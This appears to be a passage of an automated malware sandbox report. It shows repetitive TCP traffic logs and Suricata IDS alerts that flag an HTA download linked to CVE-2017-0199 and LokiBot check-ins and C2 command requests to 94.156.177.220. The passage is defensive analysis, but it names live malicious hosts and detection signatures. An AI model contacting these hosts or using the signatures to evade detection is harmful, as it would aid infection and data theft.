Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.176.141:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.176.141:80 -> 192.168.2.22:49166
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49190
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49181
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49193
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49184
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49191
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49198 -> 94.156.177.220:80
